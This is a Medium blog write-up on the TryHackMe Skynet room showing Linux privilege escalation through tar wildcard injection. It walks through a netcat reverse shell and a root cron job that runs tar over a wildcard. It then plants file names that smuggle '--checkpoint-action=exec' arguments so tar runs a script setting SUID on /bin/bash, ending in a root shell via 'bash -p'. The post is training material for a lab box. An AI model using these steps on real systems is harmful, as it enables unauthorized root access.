

[Open in app](#)

★ Get unlimited access to the best of Medium for less than \$1/week. [Become a member](#) ✕

Privilege Escalation Using Wildcard Injection | Tar Wildcard Injection |



Medusa · Follow

Published in System Weakness

3 min read · Feb 8, 2022



Listen



Share

... More



Privilege Escalation Using Wildcard Injection



This blog is about how to use Wildcard Injection to escalate privileges to root in Unix-like OS.

An attacker can use crafted filenames to inject arguments to commands that are run by other users like root.

Wildcard Injection Example

```

└─(medusa@kali)-[~/Documents]
└─$ echo "this_is_file1" > file1

└─(medusa@kali)-[~/Documents]
└─$ echo "this_is_file2" > --help

└─(medusa@kali)-[~/Documents]
└─$ ls
file1 --help

└─(medusa@kali)-[~/Documents]
└─$ cat file1
this_is_file1

└─(medusa@kali)-[~/Documents]
└─$ cat --help
Usage: cat [OPTION]... [FILE]...
Concatenate FILE(s) to standard output.

With no FILE, or when FILE is -, read standard input.

-A, --show-all           equivalent to -vET
-b, --number-nonblank     number nonempty output lines, overrides -n
-e                       equivalent to -vE
-E, --show-ends           display $ at end of each line
-n, --number              number all output lines
-s, --squeeze-blank       suppress repeated empty output lines
-t                       equivalent to -vT
-T, --show-tabs           display TAB characters as ^I
-u                       (ignored)
-v, --show-nonprinting    use ^ and M- notation, except for LFD and TAB
--help                   display this help and exit
--version                output version information and exit

Examples:
  cat f - g  Output f's contents, then standard input, then g's contents.
  cat        Copy standard input to standard output.

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation <https://www.gnu.org/software/coreutils/cat>
or available locally via: info '(coreutils) cat invocation'

└─(medusa@kali)-[~/Documents]
└─$ █

```

We created two files with the name file1 and --help , both have content “this_is_file1” and “this_is_file2” respectively. But when we cat --help we get the help menu of the cat command rather than the original content. Yeah, this is weird and this is something that we are going to do but with tar.

Tar is a software utility that is used to create and extract archive files.

For demonstration purposes, we are taking a room from TryHackMe named Skynet.

We already have a netcat shell and we are **www-data** which is a non-root user.

```

└─(medusa@kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.4.59.21] from (UNKNOWN) [10.10.24.132] 56652
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
01:29:18 up 9 min, 0 users, load average: 0.23, 0.20, 0.15
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$

```

Look at crontab jobs

Use the below command to see all cronjobs.

Command: `cat /etc/crontab`

```

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 * * * * root    /home/milesdyson/backups/backup.sh
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
$

```

As we can see there is an interesting job `/home/milesdyson/backups/backup.sh` that runs `backup.sh` file every minute with root privileges.

```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 * * * * root    /home/milesdyson/backups/backup.sh
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
$ cd /home
$ ls
milesdyson
$ cd milesdyson
$ ls
backups
mail
share
user.txt
$ cd backups
$ ls
backup.sh
backup.tgz
$ cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
```

Moving into `/home/milesdyson/backups`, we can see the `backup.sh` file contains some script. This script changes the directory to `/var/www/html` and creates an archive of all the files in `/home/milesdyson/backups` using `tar` and saves it with the name `backup.tgz`.

```
#
$ cd /home
$ ls
milesdyson
$ cd milesdyson
$ ls
backups
mail
share
user.txt
$ cd backups
$ ls
backup.sh
backup.tgz
$ cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
```

The wildcard is used to compress multiple files at once. We can use this to inject arguments of our choosing which `tar` will execute just like that example we saw above.

Exploit Wildcard

Move to `/var/www/html` and create some files(these files are actually tar arguments) using the below commands:

```
echo '#!/bin/bash\nchmod +s /bin/bash' > shell.sh
```

or

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >  
/home/user/shell.sh
```

```
echo "" > "--checkpoint-action=exec=sh shell.sh"
```

```
echo "" > --checkpoint=1
```

In the backend, the whole thing is interpreted as:

```
tar cf /home/milesdyson/backups/backup.tgz --checkpoint=1 --  
checkpoint=action=exec=sh shell.sh
```

— **checkpoint[=NUMBER]** - Use “checkpoints”: display a progress message every NUMBER records (default 10).

— **checkpoint-action=ACTION**: Execute ACTION at every checkpoint, in our case exec.

exec=command: Execute the given command.

The shell.sh contains a bash shell with a command that sets SUID bit to `/bin/bash`. The second command executes the shell.sh. So when the cronjob will execute the next minute, it will take those files as arguments/flags rather than a normal file name and set `/bin/bash` with setuid permission.

```
$ cd /var/www/html
$ ls
45kra24zxs28v3yd
admin
ai
config
css
image.png
index.html
js
style.css
$ echo '#!/bin/bash\nchmod +s /bin/bash' > shell.sh
$ echo "" > "--checkpoint-action=exec=sh shell.sh"
$ echo "" > --checkpoint=1
$ ls
--checkpoint-action=exec=sh shell.sh
--checkpoint=1
45kra24zxs28v3yd
admin
ai
config
css
image.png
index.html
js
shell.sh
style.css
$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 Jul 12  2019 /bin/bash
$ /bin/bash -p
whoami
root
[]
```

We can see that `/bin/bash` now has a SUID bit set means we can execute it with root privileges and get the root shell.

Now run the below command to get the root shell.

Command: `/bin/bash -p`

Thank You for Reading.

Privilege Escalation

Infosec

Hacking

Linux

Bug Bounty